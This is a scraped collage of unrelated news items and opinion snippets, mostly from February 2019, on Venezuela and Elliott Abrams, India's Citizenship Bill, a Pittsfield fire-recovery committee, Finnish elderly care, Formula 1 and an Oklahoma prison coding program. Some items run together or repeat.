Assistant Secretary of State Elliott Abrams has defended his role in authorizing the shipment of weapons on a humanitarian aid flight to Nicaraguan rebels, saying the operation was strictly by the book. Mr. Abrams spoke at a news conference Saturday in response to statements by Robert Duemling, former head of the State Departments Nicaraguan humanitarian assistance office, who said he had twice ordered planes to shuttle weapons for the Contras on aid planes at Mr. Abrams direction in early 1986.

Its literally the same person. Its not that Maduro is vaguely paranoid the US, in general, would dust off its 1980s Contra-backing Cold War playbook, or some unspecified assumption about a higher-up or two at State. Its literally the exact same person in charge of the operation who we knowwith 100 percent certainty, because he admitted to ithas a history of using aid convoys as a cover to smuggle in arms to right-wing militias.

Its all playing out right now, in real time. The same actors, the same tricks, the same patently disingenuous concern for the starving poor. And the US media is stripping it of all this essential context, presenting these radical regime-change operators as bleeding heart humanitarians.

The same US media outlets that have expressly fundraised and run ad campaigns on their image as anti-Trump truth-tellers have mysteriously taken at face value everything the Trump White House and its neoconservative allies have said in their campaign to overthrow the government of Venezuela. The self-aggrandizing  factchecking  brigade that emerged to confront the Trump administration is suddenly nonexistent as it rolls out a transparent, cynical PR strategy to delegitimize a Latin American government its trying to overthrow.

Adam Johnson is a contributing analyst for FAIR.org.

This article was originally published by " Fair " -JERUSALEM, Feb. 12 (Xinhua) -- Israeli Prime Minister Benjamin Netanyahu departed on Tuesday night to Poland to attend the Warsaw Conference on the Middle East.

"The focus of the conference is Iran," Netanyahu told reporters before leaving.

"We employ many means against Iran's aggression, against their attempts to achieve nuclear weapons and ballistic missiles," Netanyahu said.

Iran denies it attempts to develop nuclear weapons.

Netanyahu said that Israel's relations with many Middle East countries are "very good," but most of these ties are being held behind the scenes. According to Netanyahu, Israel has been forging new ties with Arab countries but "not all of them are overt."

Israel currently has formal diplomatic ties with a few Arab countries, including Jordan and Egypt.

Netanyahu is scheduled to meet U.S. officials during the two-day conference, co-hosted by Poland and the United States.

Some 80 countries, including about 11 Middle East countries, have confirmed their participation in the conference which will be held on Feb. 13-14.

The U.S. administration is organizing the conference and has invited Arab states and Israel to the conference. Iran was not invited.

Lebanon and Iran have condemned the meeting as an "anti-Iran circus."

The conference is thought to be an attempt by the U.S. to build an anti-Iran coalition of hardliners. Last year, Donald Trump announced the U.S. withdrawal from the 2015 multilateral nuclear deal negotiated with Iran, and reimposed sanctions on Tehran.New Delhi, Feb 13 (IBNS) : The Rajya Sabha was adjourned sine die on the last day of the budget session on Wednesday resulting in the lapse of the much debated Citizenship (Amendment) Bill, 2019 and the Muslim Women (Protection of Rights on Marriage) Bill, 2018.

Both the Bills have been in the centre of a political storm across the country inviting fierce opposition from different sections but come handy for the ruling National Democratic Alliance to suit its purpose.

Introduced on July 19 in the Lok Sabha, the Citizenship Amendment Bill 2016 seeks to allow illegal migrants from certain minority communities in Afghanistan, Bangladesh and Pakistan eligible for Indian citizenship. In other words, it amends the Citizenship Act of 1955.

The Citizenship Amendment Bill seeks to allow illegal migrants belonging to the Hindu, Sikh, Buddhist, Jain, Parsi or Christian religious communities coming from Afghanistan, Bangladesh or Pakistan to not be imprisoned or deported.

It also appeals for the minimum years of residency in India to apply for citizenship to be lessened from at least 11 to six years for such migrants.

The Bill, however, does not extend to illegal Muslim migrants. It also does not talk about other minority communities in the three neighbouring countries.

The Citizenship Amendment Bill has been resented by many in the northeastern region, particularly in Assam as it contradicts the Assam Accord of 1985, which states that illegal migrants heading in from Bangladesh after March 25, 1971, would be deported.

Lok Sabha in January passed the contentious Citizenship (Amendment) Bill 2019 but it is yet to be cleared in the Upper House where the Opposition parties outnumber NDA.

The triple talaq bill, on the other hand, makes the pronouncement of talaq-e-biddat "void and illegal." According to clause 3 of the Bill, "Any pronouncement of talaq by a person upon his wife, by words, either spoken or written or in electronic form or in any other manner whatsoever, shall be void and illegal."Most of the Opposition parties, including the Congress, are against the Bill. Congress has even vowed to abolish the Bill once it comes to power.he

Rajya Sabha Chairman and Vice-President Venkaiah Naidu expressed dismay at the lack of business transacted this session. It passed the Motion of Thanks on Presidents address, the interim Budget and the Finance Bill on Wednesday without debate.

The Lok Sabha, meanwhile, passed the Banning of Unregulated Deposit Schemes Bill and the Jallianwala Bagh National Memorial (Amendment). The lower house is also likely to discuss other bills including The Protection of Children from Sexual Offences (Amendment) Bill, 2019, and The Central Universities (Amendment) Bill, 2018.

Rajya Sabha Chairman and Vice-President Venkaiah Naidu adjourned the House sine die after his customary address at the end of the session. The Citizenship (Amendment) Bill and the triple talaq Bill are now set to lapse.

The Rajya Sabha has passed without debate the motion thanking the President for his address at the start of the Budget session. The House has also passed the Finance Bill, which was cleared by the Lok Sabha yesterday. The interim Budget was also passed by the House without debate.

In the Finance Bill, 2019, the government has proposed to raise tax rebate for people having annual income up to Rs 5 lakh from Rs 2,500 to Rs 12,500, which will effectively ensure that they dont have to pay any tax. Standard deduction has also been raised from Rs 40,000 to Rs 50,000, besides a host of tax benefits to home buyers,

The CAG report on the Rafale deal, which was tabled in the Rajya Sabha, says India saved 17.08 per cent money for the India Specific Enhancements while purchasing 36 Rafale aircraft from France, as compared to the 126 aircraft deal negotiated by the UPA government. It adds that the delivery schedule of the first 18 Rafale aircraft is better than the one which was proposed in the 126 aircraft deal, reports news agency ANI. The Rajya Sabha will resume in a few minutes.

However, the report was not taken up for discussion as the House was adjourned sine die.New Delhi, Feb 13 (IBNS) : The Citizenship (Amendment) Bill, 2019, seeking to grant citizenship to minorities from few neighbouring countries seeking refuge in India and The Muslim Women (Protection of Rights on Marriage) Bill, 2018 for abolishing the triple talaq system, will lapse if they do not get passage in the Rajya Sabha on Wednesday, the last day of the Budget session.

Both the Bills have been in the centre of a political storm across the country inviting fierce opposition from different sections but come handy for the ruling National Democratic Alliance to suit its purpose.

Introduced on July 19 in the Lok Sabha, the Citizenship Amendment Bill 2016 seeks to allow illegal migrants from certain minority communities in Afghanistan, Bangladesh and Pakistan eligible for Indian citizenship. In other words, it amends the Citizenship Act of 1955.

The Citizenship Amendment Bill seeks to allow illegal migrants belonging to the Hindu, Sikh, Buddhist, Jain, Parsi or Christian religious communities coming from Afghanistan, Bangladesh or Pakistan to not be imprisoned or deported.

It also appeals for the minimum years of residency in India to apply for citizenship to be lessened from at least 11 to six years for such migrants.

The Bill, however, does not extend to illegal Muslim migrants. It also does not talk about other minority communities in the three neighbouring countries.

The Citizenship Amendment Bill has not been sitting well with the Assamese as it contradicts the Assam Accord of 1985, which clearly states that illegal migrants heading in from Bangladesh after March 25, 1971, would be deported.

Lok Sabha in January passed the contentious Citizenship (Amendment) Bill 2019 but it is yet to be cleared in the Upper House where the Opposition parties outnumber NDA.

The triple talaq bill, on the other hand, makes the pronouncement of talaq-e-biddat "void and illegal." According to clause 3 of the Bill, "Any pronouncement of talaq by a person upon his wife, by words, either spoken or written or in electronic form or in any other manner whatsoever, shall be void and illegal."Most of the Opposition parties, including the Congress, are against the Bill. Congress has even vowed to abolish the Bill once it comes to power.Guwahati, Feb 13 (IBNS): Protests against the Citizenship (Amendment) Bill continues in Assam as it is likely to be tabled in Rajya Sabha on Wednesday.

To register protest against the bill and the governments move to grant ST status to six communities of the state, the tribal groups have also called a 12-hour Assam Bandh on Wednesday.

The Bandh was called by the Coordination Committee of the Tribal Organizations of Assam (CCTOA).

The protesters have burnt tyres on roads and pelted vehicles with stones during the bandh in many places in the state.

In central Assams Morigaon district, the protesters pelted stones and damaged a security vehicle at Jagiroad area.

They also burnt tyres on National Highway -37 and tried to stop vehicular movement.

The Citizenship (Amendment) Bill, 2016 was introduced and passed in Lok Sabha in January.

The bill is aimed to granting Indian citizenship to the Hindu, Sikh, Buddhist, Jain, Parsi and Christian refugees from Pakistan, Bangladesh and Afghanistan.

(Reporting by Hemanta Kumar Nath)Index-Journal Careers

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Archaic laws are being modified to attract more funds to operate in Hong Kong, which sources say needs to happen to make the environment friendlierAbout six years ago the community rallied in support of Rabbi David Weiner and now he wants to pay that forward.

New Committee Looks to Assist Victims of House Fires



Stacy Parsons is looking for volunteers to help victims rebuild their lives. The committee rolled out the details of the group at a public meeting on Tuesday but the snowy weather limited attendance. PITTSFIELD, Mass.  In April 2012, Rabbi David Weiner of Knesset Israel watched in horror as his home burned, as firefighters broke window after window, and as a neighbor wrapped him in a coat.

It was a kitchen fire in his Wendell Street home. He remembers having to borrow socks from a friend the next day because he had lost everything.

"My house was inside out. Whatever was left of our belongings was smoldering in the back yard or being washed in the drive. The anxiety and panic arrived and wouldn't dissipate. For weeks I couldn't sleep or breath or think. The experience touched a deep wound in me. I was sure that a house fire was unforgivable and we'd be homeless and humiliated," Weiner said.

However, that week there were twice as many people attending the synagogue. A few people insisted that he go to the shop and purchase a new suit. Often full meals were showing up at the place he was staying. Donations were coming in, even from the First Church at Park Square's collection. A therapist sat and talked with him and helped him handle post-traumatic stress.

"I have changed and grown a great deal over the last six years since that horrible night, mostly not because of the fire but because of the way this city and this community embraced us," Weiner said.

"That night even as we lost a house, we found a home."

Weiner promised himself that he would pay that level of kindness forward from that day on. But he didn't know how.

And then the White Terrace fire happened in September 2017, leaving at least two dozen people homeless. Many of those residents were sent to the Christian Center and the idea was hatched to create a Pittsfield Emergency Recovery Committee. The Christian Center started the process and invited a number of organizations to join. Christian Center Executive Director Ellen Merritt asked Weiner.

"I had to say yes," he said.

Since then, representatives from about 20 local organizations, including a number of faith-based organizations, ServiceNet, Berkshire Regional Housing, and the Salvation Army, and city employees Fire Chief Robert Czerwinski and Health Director Gina Armstrong have been meeting on a monthly basis. Together, they created the group to help those in need after a disaster.

"What a group of committed citizens found was there were benefits to having a coordinated response in helping people who are impacted rebuild and recover," said Stacy Parsons, one of the organization's founders.

After months of planning, the group is now taking the concept to the broader public. It is looking for donations of goods, money and volunteer time.

"We are looking for individuals who, potentially on a moment's notice, would be available to support anybody impacted by a fire, flood, any of those disasters. People who can come and sit down with those folks and help walk them through the process after those first hours of rebuilding their lives," Parsons said.

The group created an "after the fire guide" that directs people on how to handle the days and weeks after the event. It ranges from how to go about getting new driver's licenses, to boarding up the property, to finding new housing, to handling insurance and utilities.

The guide walks victims through the various responsibilities one is tasked in rebuilding a life after a disaster.

Parson said the group is looking for volunteer "navigators" to work with victims throughout that process. On May 7 and May 14, the committee will be hosting training for those navigators.



Capt. Darlene Higgins outlined what the Salvation Army does now but says there is always room for more in the community to help. Secondly, the faith-based organizations involved have taken the lead on gathering recovery kits. That includes items like pillows and pillow cases, silverware and dishes, sponges and brooms, light bulbs and coffee makers, and trash bags and hygiene items, the things one needs to rebuild a home but that are often overlooked.

"We all agree 48 hours of assistance barely scratches the surface," Weiner said.

Lastly, Parsons said the organization has set up a donation account through the Christian Center that will be a pot of money to help residents with needs that those involved may not immediately have on hand.

Salvation Army Capt. Darlene Higgins said her organization has been responding to disasters for years by helping people with information on where to find shelter and occasionally getting the victims a hotel for the night. They hold spiritual and emotional workshops and help with clothing. But there is more to be done in the community.

"That is where you will come in to help with just your presence of being there," Higgins said.

The committee is operating under the umbrella of the Christian Center. Weiner advises those who are interested to contact Merritt there with further questions. The Christian Center is located at 193 Robbins Avenue and the phone number is 413-443-2828.SHANGHAI, Feb. 12 (Xinhua) -- Wang Duoduo traveled across Morocco during this year's Spring Festival holiday.

After a camel tour into the Sahara Desert, she took pictures of the golden sand highlighted by the stars and posted them on WeChat. The posts immediately got several "likes."

Meanwhile, judging from the pictures her friends posted on Wechat, they also traveled to various Belt and Road (B&R) destinations, such as Jordan, Sri Lanka, and the United Arab Emirates.

Wang, 29, works at a law firm and travels a lot, especially during the Chinese New Year holiday. She made a plan to visit one B&R country each year, and since 2016, she has traveled to Sri Lanka, Jordan, the United Arab Emirates and Morocco.

"Many of my friends have traveled abroad. Unlike several years ago when destinations along the B&R were still not very popular among Chinese, now, they have become our first choice," said Wang, "During peak travel seasons such as the Spring Festival holiday, some tour packages were so popular that they sold out very fast."

Ctrip, a Shanghai-based online travel agency, predicted that nearly 7 million Chinese traveled abroad during the 7-day Spring Festival holiday which started on February 4. Countries along the Belt and Road routes, such as Thailand, Indonesia, Singapore, Vietnam, Malaysia, the United Arab Emirates and Cambodia are among the most popular oversea destinations. Meanwhile, the amount of visitors to Eastern European countries increased by nearly 40 percent year on year.

According to a report released on Sunday by Lvmama, another online travel agency, the volume of trips to long-distance destinations for at least eight days during the Spring Festival holiday increased by 23 percent year on year.

According to the China Tourism Academy (CTA), in 2017, 27 million Chinese traveled to B&R destinations, up 77 percent compared with 2013.

Dai Bin, CTA president, said B&R destinations are quite attractive to Chinese tourists for their beautiful natural scenery and various historical and cultural resources, and there are several positive factors fueling China's outbound travel such as more convenient visa policies, more direct flights, more individualized travel products, and convenient payment environments.

According to CTA, the international inbound tourist revenue of the countries along the B&R reached 385.1 billion U.S. dollars in total in 2017, among them 30.8 percent were contributed by visitors from the Chinese mainland.

China's outbound travel has become a driving factor of the local economy along the B&R, said He Jianmin, a professor at the Shanghai University of Finance and Economics. Official data showed that China has become the largest source of visitors to Thailand, Vietnam, Singapore, Indonesia, Russia, Cambodia and the Maldives.

"The biggest benefit of traveling is to promote communication among the people living along the routes," said He.

"People are closer to each other. Our local guides are also very interested in Chinese history and culture. One of our guides in Sri Lanka traveled to China last year," said Wang.

After finishing her trip to Morocco, Wang plans to travel to Serbia, Montenegro and Bosnia and Herzegovina during the National Holiday this October.

Xiao Yinyuan, head of Ctrip's outbound travel business, predicted that 30 million Chinese will travel to countries and regions along the B&R in 2019, making B&R countries the largest outbound destination for Chinese tourists.This year our dine and drink business locations throughout the Gorge have suffered with closures. You can help support your favorites by purchasing take out and gift cards. Many of these business will offer curb-side delivery and some will deliver to your home. Lets keep the Gorge going strong!China on Tuesday refuted recent U.S. pressure on some countries for using Chinese equipment concerning areas such as telecommunications, saying U.S. moves are unfair and unethical.

Foreign Ministry Spokesperson Hua Chunying holds a press conference in Beijing on Tuesday, February 12, 2019. [Photo: fmprc.gov.cn]

Reports stated that U.S. Secretary of State Mike Pompeo cautioned allies on Monday against deploying equipment from Chinese telecoms giant Huawei on their soil, saying it would make it more difficult for Washington to "partner alongside them."

"For a period of time, the U.S. side has worked tirelessly to fabricate various unwarranted reasons and 'China threat' rhetoric, even flagrantly threatened and driven a wedge between China and other countries, as well as slandered and suppressed the legitimate rights and interests of Chinese enterprises in pursuing development and cooperation," said Chinese Foreign Ministry spokesperson Hua Chunying at a press briefing.

The Chinese side hopes all parties abandon ideological bias as well as cold-war and zero-sum mentality, to create a fair, inclusive, transparent and standardized environment for normal international friendly and mutually beneficial cooperation, said Hua.

Refuting U.S. moves' lack of due demeanor for being a major power, Hua said China believes most countries are clear about the true intention and bullying substance of the U.S. side.

Meanwhile, Hua also appreciated the "independent, fair and objective" comments by Hungarian Foreign Minister Peter Szijjarto, as Szijjarto reportedly brushed off U.S. concerns.

Hua said friendliness and cooperation will always remain the central theme of the development of China-Hungary ties, and enhancing friendly cooperation between the two countries will not target and influence any other country.

Hua also expressed the belief that China-Hungary ties will not be damaged or interrupted by other countries.After the emergency school board meeting that he had requested did not take place, school bo

A $59.9 million referendum will be on the April 2 ballot in the School District of Milton.

$59.9 million referendum

A $59.9 million referendum will be on the April 2 ballot in the School District of Milton.

The referendum is for a district-wide school building and improvement program. That includes:

 Construction of academic additions and renovations at all four elementary schools and at the middle school;

 Construction of additions, including a new STEM (science, technology, engineering math) wing, a new swimming pool and gymnasium space, and renovations at the high school;

 District-wide capital maintenance, safety and ADA accessibility improvements;

 Acquisition of related furnishings, fixtures and equipment.* Cambodian Defense Minister Gen. Tea Banh will meet with his Thai counterpart Gen. Prawit Wongsuwon this week to discuss cooperation along their border, according to a defense ministry statement on February 11. Cambodia shares more than 800 km border with Thailand to the north and west.

* The US State Department said On February 11 that Deputy Secretary of State John Sullivan held talks with visiting Republic of Korea National Assembly Speaker Moon Hee-sang on issues of the alliance and the denuclearization of the Korea Peninsula.

* A spokesperson of French Foreign Ministry said on February 11 that the French ambassador to Italy, who was recalled back to France after the war of words between the two neighboring countries turned into a diplomatic clash, will remain at home for consultations and will resume his mission in Rome at proper moment.

* Russia plans to spend over RUB25.7 trillion (US$391 billion) on projects in a dozen national strategic development areas in 2019-2024, the Russian government said on February 11.

* Police freed 43 people from a human trafficking operation in Ontario, Canada, the Ontario Provincial Police said on February 11. The 43 people were brought to Canada with the promise of work visas and permanent residency status.

* Polish Ministry of Foreign Affairs announced on February 11 that only 11 Middle East countries (Saudi Arabia, Bahrain, Israel, Yemen, Jordan, Kuwait, Morocco, Oman and the United Arab Emirates) had confirmed their participation in the Warsaw Conference scheduled on Feb. 13-14. Iran was not invited to attend the conference.

* The top legislators of Cyprus, Greece and Egypt called for energy sources in the eastern Mediterranean to be turned into a catalyst for peace and prosperity, said a statement issued in Nicosia on February 11.

* Iraqi Ministry of Interior on February 11 announced that it dismantled the biggest Islamic State (IS) cell in Iraq's western province of Anbar and captured 186 militants who committed terrorist attacks in the country.

* Jordan and Kuwait on February 11 signed 15 agreements to boost cooperation in various arenas including energy and business, the state-run Petra news agency reported.

* At least 17 people were killed when a hotel in Delhi caught fire early Tuesday, local media reported. About 30 people were safely rescued. Relief and rescue work was being carried out as 25 firefighters were rushed to the site of fire.

* Wildfires have destroyed 41,200 hectares of forest land in southern and central Chile, the country's National Forestry Corporation (CONAF) said on February 11.Annika Saarikko (Centre), the Minister of Social Services and Family Affairs, stated on Tuesday that the ongoing public debate has drawn attention to worrying aspects of the state of elderly care in Finland.

THE FINNISH GOVERNMENT has announced it has decided to initiate an overhaul of the act on elderly services before the end of the current electoral term.

The treatment of elderly people is not in compliance everywhere with the values that define our actions and trust in the services has crumbled, she highlighted in a press release.

This is a serious issue. The public debate about the flaws has strengthened the impression that broad and thorough preparatory work is necessary to introduce common practices and solutions to elderly services, added Saarikko.

One of the questions at the core of the debate is staff dimensioning. The National Coalition is currently the only party that has not expressed its support for introducing binding staffing requirements for nursing homes and residential care units across the country.

The Finnish act on elderly services currently only recommends that such facilities have one nurse for every two patients.

Saarikko on Tuesday said the sufficiency of the staffing guidelines will be weighed up as part of the legislative project.

The Ministry of Social Affairs and Health reported that additional resources will be allocated to supervising elderly care in the next supplementary budget. Pirkko Mattila (BR), the Minister of Social Affairs and Health, stressed that attention must also be paid to management, self-monitoring and procurement practices, as well as to the availability of reliable data on the quality of care and nursing.

Aleksi Teivainen  HT

Source: Uusi SuomiHakkanen says the Ministry of Social Affairs and Health should draw up a comprehensive action plan to address problems in elderly care by, for instance, raising the number of nurses, toughening up regulation and encouraging municipal decision makers to take greater responsibility for the quality of elderly services.

ELDERLY CARE PROVIDERS must be subjected to both closer supervision and stiffer sanctions in the event of negligences, views Antti Hakkanen (NCP), the Minister of Justice.

The problems in services for the elderly have blemished the reputation of Finland, he declared in a press release on Sunday.

The action plan, he argued, must commit local and national decision makers, and companies, organisations and professionals in the health care industry to resolve the problems that have persisted for years.

The aggravated negligences of care providers that have been uncovered in recent years are a continuation of years-long problems in elderly care. Every elderly person must be able to have trust in the quality of care and dignity in old age regardless of the municipality of residence. We must restore the trust, stated Hakkanen.

He also pointed out that several sections of the criminal code could be applied to negligences by elderly care providers.

Certain actions could meet the elements of abandonment, fraud or forgery, for example. If a company attempts to profit by hiring ghost nurses, it could be considered fraud under the criminal code. The supervisory authorities must collaborate with the police, he underscored.

Aleksi Teivainen  HT

Source: Uusi SuomiThe Finnish Parliaments Education Committee on Tuesday announced it is recommending that the initiative be rejected, despite the fact that the initiative was backed by almost 53,100 people across the country.

NUMEROUS youth and student organisations have expressed their disappointment with the fate of a citizens initiative for ensuring upper-secondary education is genuinely free in Finland.

The Finnish Student Alliance (OSKU), National Union of Vocational Students in Finland (Sakki), Save the Children Finland, Swedish-speaking School-student Union of Finland and Union of Upper Secondary School Students in Finland responded to the announcement in a joint statement, highlighting that the committee would have had the tools to move forward with the initiative.

The committee did not have the willingness to use the tools, however. The decision sends a dismal message to the young people who worked on the citizens initiative: is this how the Parliament shows its appreciation for the efforts of young people? the statement reads.

Finnish upper-secondary education is free under the law, but students and their families have to pay for textbooks and other learning materials out of their own pockets.

Members of the Parliaments Education Committee underlined that a debate on the issue is important but added that the decision was first and foremost technical: The initiative demanded that the possibility of removing the costs associated with vocational and general upper-secondary education be explored by the Parliament. The Parliament, however, is not the right institution to conduct the necessary assessments.

Citing technical flaws in the initiative does not promote the equal educational opportunities of any students, the organisations responded.

Aleksi Teivainen  HT

Source: Uusi SuomiHastings, NE (68901)

Today

Scattered strong thunderstorms developing this afternoon. Damaging winds and large hail with some storms. High 88F. SE winds shifting to NE at 10 to 20 mph. Chance of rain 40%..

Tonight

Partly cloudy skies early will give way to cloudy skies late. A stray severe thunderstorm is possible. Low 68F. Winds NNE at 10 to 20 mph.What's Included

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If you have any questions or need further assistance, please call our customer service team at 574-583-5121 or email cgrace@thehj.com.The political turmoil in Venezuela broke out after opposition leader Juan Guaido, who also serves as head of the Venezuelan National Assembly, suddenly declared himself the nations Interim President. Guaidos action has been strongly condemned by President Maduros government and is considered part of a coup attempt. While the United States and about 20 European Union (EU) member countries have recognised Guaido as the Interim President of Venezuela, pressuring President Maduro to hold a new election, many countries, including Cuba, Mexico, Turkey and Russia, have voiced support for the government of President Maduro, criticising the coup attempt in Venezuela.

In the latest move, Guaido announced that he did not rule out the possibility of agreeing to a military intervention plan by the US or a foreign force into Venezuela, aiming to force President Maduros administration to abandon the usurpation of power as called by the opposition. The opposition-controlled National Assembly recently passed a transition law, the text of which states that when President Maduro leaves power, Guaido will be allowed to call the national elections within 30 days. In case this cannot be implemented for some technical reason, Guaido will continue to lead the interim government for 12 months, according to the newly passed law.

In response, Venezuelas Supreme Court of Justice (TSJ) declared the complete neutralisation of the transition law, while proposing the Constituent Assembly to issue resolutions related to the operations of the legislative body and Interim President, considering Guaidos self-declaration act as a coup attempt.

In the face of the complicated political situation in Venezuela, many international efforts have been made, but not every effort is effective or approved. The International Contact Group on Venezuela (ICG), which comprises representatives of the Caribbean Community (CARICOM), European countries (France, Germany, Italy, the Netherlands, Portugal, Spain, Sweden and the United Kingdom), and Latin American countries (Bolivia, Costa Rica, Ecuador, Mexico and Uruguay), convened its first meeting in the Uruguayan capital of Montevideo on February 7. At the working session, many countries signed the Montevideo Mechanism, a four-step plan to foster dialogue between the Venezuelan government and the opposition groups in search of a solution to the current political crisis. A proposal to conduct a new presidential election in Venezuela is also part of the Montevideo Mechanism.

However, Bolivia, Mexico and CARICOM countries were opposed to a joint statement after the meeting, citing the ICG as intervening in Venezuelas internal affairs. Venezuelan President Maduro immediately rejected the Montevideo Mechanism and the proposal to carry out a new presidential election, criticising this as biased proposals. President Maduro also invited ICG representatives to Caracas to dialogue with the constitutional government and affirmed his willingness to join the Montevideo Mechanism to sign balanced and satisfactory agreements related to peace in Venezuela.

In the meantime, tensions between Caracas and Washington continued to be raised to new levels, as the Venezuelan government announced the evidence of a conspiracy, planned by the right wing under the support of foreign forces, including the US, to overthrow President Maduros administration. The Caracas government accused Washington of hindering talks in Venezuela, condemning the US statement that Venezuela was suffering from a humanitarian crisis as a lie in an excuse to intervene in the South American country. In fact, a letter asking the US not to intervene in Venezuelas internal affairs received two million signatures from Venezuelan citizens in just one day. According to President Maduro, the aforementioned peace letter is expected to receive 10 million signatures soon and will then be sent to the White House.

Many countries voiced concern about actions aimed at interfering with the issues primarily under national jurisdiction, as well as on the threat of using force against Venezuelas territorial integrity and political independence. UN Secretary General Antonio Guterres said that the UN is willing to help bring Venezuelan President Maduro and opposition leader Guaido to the negotiating table in a serious fashion.

Intervention in internal affairs of a country is never accepted in international relations, and there is no exception to the case of Venezuela. With the determination of the majority of Venezuelans to preserve national independence, and the supportive voice of the peace-loving community, positive steps and efforts are still being promoted by the international community aiming to promptly relieve tensions in this South American country.Winnsboro, LA (71295)

Today

Sun and clouds mixed. A stray shower or thunderstorm is possible. High 94F. Winds S at 5 to 10 mph..

Tonight

Partly cloudy skies. A stray shower or thunderstorm is possible. Low around 75F. Winds S at 5 to 10 mph.The 60kg vehicle has a composite shell and can collect data from 1-1,000 metres below the surface. It sends data to an analysis centre via radio signal and the General Packet Radio Service (GPRS).

Equipped with data recording software, a camera, a satellite locator, an antenna and an echo sounding device, the vehicle runs on two batteries and can operate for eight to 10 hours straight.

It performed well when tested in fast-flowing areas of the Lo and Da rivers and near the island district of Van Don in the coastal province of Quang Ninh.

The vehicle was created by researchers from the Vietnam Institute of Geodesy and Cartography under the Ministry of Natural Resources and Environment (MONRE) as a result of a project that is running from January 2018 to June 2020.

It operates with two systems that have never been successfully assembled in Vietnam before, according to Luu Hai Au, director of the institutes Centre for Informatics and Geodesy.

They include a satellite positioning system running with virtual reference station (VRS) technology attached to an unmanned aerial vehicle and a software system that integrates echo sounding devices via an internal measurement unit, he said.

The theories of operation of these two systems were thoroughly studied by MONRE and were proven effective after being put into production, Au said.

"Mapping the topography of the ocean floor and river beds with echo sounding devices attached to unmanned surface vehicles is new to Vietnam, though the technique is practised worldwide," he said.

The unmanned surface vehicle would help create large-scale topographic maps of areas with dangerous terrain inaccessible to humans and those that are polluted, he said.

It can also gather water pollution data and help to detect factories that release untreated waste into the environment, said Au.Vietnam and Bangladesh established diplomatic relations 45 years ago. Since then, the two nations have maintained their traditional friendship and solid cooperation, and have observed important development steps in terms of both politics and economy.

Vietnam has always attached importance to and wished to further develop its friendly and cooperative relations with Bangladesh. The two countries have stood side by side and supported each other in their respective processes of national construction, sovereignty safeguarding, and economic development.Update Required

To play the media you will need to either update your browser to a recent version or update your Flash plugin.Grammy and Dove Award-winning musician Ron Rawls enters the artist arena with today's release of his first single as a solo entertainer. "Heaven's Perspective," is going for adds to Christian AC and Gospel-formatted radio outlets.

Rawls, who has worked as a touring musician during the last few years, currently is musical director for popular artist and "American Idol" alum Mandisa. Rawls earned his Grammy and Dove Award wins for working on Mandisa's 2013 album, "Overcomer," which took home the Best Contemporary Christian Music Album Grammy in 2014.

Musical talent runs through Rawls' DNA. Growing up in a musical family, he first played piano at his church in his hometown of Huntsville, Alabama. Later, he relocated to the Nashville area, where he earned a bachelor's degree in music production and technology from Middle Tennessee State University.

Tyler Howell and Gabriel Wilson wrote "Heaven's Perspective," which features Maya Robinson on vocals. Rawls produced the single for Red Torch Music. A video for "Heaven's Perspective" can be viewed here.

To learn more about Rawls, visit rawlsmusic.com, like him on Facebook and follow on Instagram and Twitter.

Tags : ron rawls ron rawls heaven's perspective ron rawls new single ron rawls news Mandisa mandisa musical directorNews

India reports 54,069 new coronavirus cases

This is the seventh consecutive day in the last two months when the toll has been below the 2,000-mark, data from the health ministry showed. India crossed the mark of over 30,000,000 caseload of COVID on Wednesday.Two F1 drivers are not so sure the aerodynamic rule changes for 2019 will make a big difference.

Max Verstappen's bosses at Red Bull, Christian Horner and Dr Helmut Marko, say the changes including new front wings are little more than a waste of $15 million per team.

"It's supposed to improve overtaking," Verstappen said. "There are other little things in addition to the front wings, but I do not think it will work so well.

"I think if all the teams do well with the new regulations, we should see a hierarchy similar to what we know," the Dutchman is quoted by France's Auto Hebdo.

"It will not improve the races because the cars have too much downforce and they are too wide. But we know there are tracks that are good for overtaking and that should stay the same," Verstappen added.

Renault driver Nico Hulkenberg agrees, saying all the teams are busily feeding computer models into simulators to test the 2019 rule changes.

"Honestly, I don't know if the new rules are a chance for a team like us, or if the top teams will move even further away because they have more resources," said the German.

"It can go either way," Hulkenberg added.

(GMM)Renault's 2019 car is yet to see light of day.

Ostensibly, the French team 'launched' its new single seater on Tuesday, but it was actually the 2018 car with 2019-style bodywork.

One theory is that the car is delayed, and another is that Renault doesn't want to reveal its secrets.

Team boss Cyril Abiteboul admitted it is "the biggest step we have taken since the introduction of V6 engines".

Team advisor Alain Prost says Renault has been working over recent months to build up, declaring on Tuesday: "We are now a big team."

And with Daniel Ricciardo now in the cockpit, Abiteboul says Renault has "perhaps the strongest" driver lineup of any team. Nico Hulkenberg, he added, is "enormously underestimated".

Australian Ricciardo has joined Renault from Red Bull, and he says his mission now is to show that it is a "serious" move with the aim of eventually winning a title.

"When I signed here, a lot of people were saying 'Why has he done that?'" he admitted.

"I feel as though not everyone sees it as a serious move, so I want to show that I am serious."

And German Hulkenberg said: "If I had to put my expectations into words, I would say 'We have work to do, but hopefully not too much'."

As for the missing 2019 car, boss Abiteboul explained: "Our new car is still in pieces, but we will have it ready for the Barcelona test.

"I believe we are not the only team to be in this situation," Abiteboul added.

And when that car emerges, Prost says the goal is for it to be close to Mercedes, Ferrari and Red Bull.

"We will be able to reduce the gap to the top three teams, I just don't know by how much," said the quadruple world champion.

"Everything looks very promising," Prost added. "I don't think it will be enough to beat Mercedes and Ferrari, but Red Bull and Honda are a question mark for me."

As for the future, it appears that Renault's intense team-building process is now basically over. Abiteboul admitted Renault is "several hundred people" short of the big three, but that will not change for now.

"We are talking about a capped budget for 2021, so we will not go further than we are today," said the Frenchman.

(GMM)(TNS)  Eighteen women clad in orange jumpsuits, each serving their time at Oklahomas medium-security prison in McLoud, sat in classroom No. 9 on Monday to begin their second day of learning computer coding.As the class logged in to computers, a cadre of visitors filed in behind them: media, criminal justice reform advocates, Gov. Kevin Stitt and his entourage. The class cheered at the arrival of M.C. Hammer, the entertainer who now is a board member for The Last Mile, the nonprofit that launched the coding classes and graduated 500 students in correctional facilities across the country.If you give people a different perspective, just show them the world is bigger than the block were on, they see the world differently, Hammer said at a reception earlier that day. This skill set, software engineering, it can save lives.It was an auspicious day at Mabel Bassett Correctional Center and a celebration for those who guided the program to Oklahoma, which incarcerates women at a higher rate than any government in the world.I believe this program will be life-changing, said Mabel Bassett class member Chasity Choate. We all know that beyond these walls, our country is not very felon-friendly. This program will give us that chance.Choate and her classmates will learn computer coding, specifically languages like HTML, Javascript, CSS and SQL over the next year. There are challenges, however, in learning front-end web development while disconnected from the outside world. The Last Mile co-founders Beverly Parenti and Chris 